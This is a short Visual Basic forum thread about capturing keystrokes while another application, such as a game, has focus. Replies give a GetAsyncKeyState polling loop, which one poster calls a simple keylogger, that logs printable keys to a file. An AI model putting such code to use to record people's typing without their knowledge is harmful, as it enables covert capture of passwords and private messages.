Results 1 to 8 of 8

Thread: Key Logging

  1. #1

    Thread Starter
    Hyperactive Member
    Join Date
    Feb 2001
    Posts
    421

    Key Logging

    How could I make an app that, even when it doesn't have focus, catches all keys pressed? For example, when the user is playing a game like Counter Strike, he presses the A button on the keyboard, and in the app, Text1.SelText = KeyPressed... get it? Thanks.
    [vbcode]
    ' comment
    Rem remark
    [/vbcode]

  2. #2

  3. #3

    Thread Starter
    Hyperactive Member
    Join Date
    Feb 2001
    Posts
    421
    Yeah I saw that but it returns some unwanted keys in Keys.log

    Any other ideas?
    [vbcode]
    ' comment
    Rem remark
    [/vbcode]

  4. #4
    Addicted Member
    Join Date
    Feb 2001
    Posts
    140
    Change the code a bit.

    For i = 3 To 255

    That's to check which ascii key it is. Most of the keyboard keys are 32 To 126

    For i = 32 To 126
    Debug.Print Chr(i)

    And that's how to get rid of unnecessary keys.
    -Nean

  5. #5
    Hyperactive Member zer0_flaw's Avatar
    Join Date
    Apr 2001
    Posts
    448
    Use the "GetAsyncKeyState" API call... it's not the greatest but works.
    Code:
    Public Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Long) As Integer

  6. #6
    Addicted Member
    Join Date
    Feb 2001
    Posts
    140
    Here's code to use:

    Code:
    Do
        For Key = 0 To 255
        If GetAsyncKeyState(Key) <> 0 Then
                    
                    If Key >= 32 And Key <= 126 Then
                    Print #1, Chr(Key)
                    End If
    
            End If
            Next Key
            DoEvents
            Sleep 100
    Loop
    That is a very simple keylogger. The only problem I get with that, is when it writes the character to the file, it doesn't write it continuously, it writes each character on a seperate line. Anyone know how to fix this? Also, would one go about checking for an {enter} key under ascii code 13 or 13 and 10 (13 is CR, 10 is LF)

    Example:

    H
    i
    T
    h
    i
    s
    I
    s
    a
    n
    e
    x
    a
    m
    p
    l
    e
    -Nean

  7. #7
    Tygur
    Guest
    very, very simple solution. Just add a semicolon to the end of this line:
    Print #1, Chr(Key)

    ..so that it looks like this:
    Print #1, Chr(Key);

  8. #8
    Addicted Member
    Join Date
    Feb 2001
    Posts
    140

    Doh!

    I should've remembered that. Now what about the advanced keys? Like Down(80) Up(72) Left(75) Right(77) F1-F10(0&59-0&68) and such...
    -Nean

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  



Click Here to Expand Forum to Full Width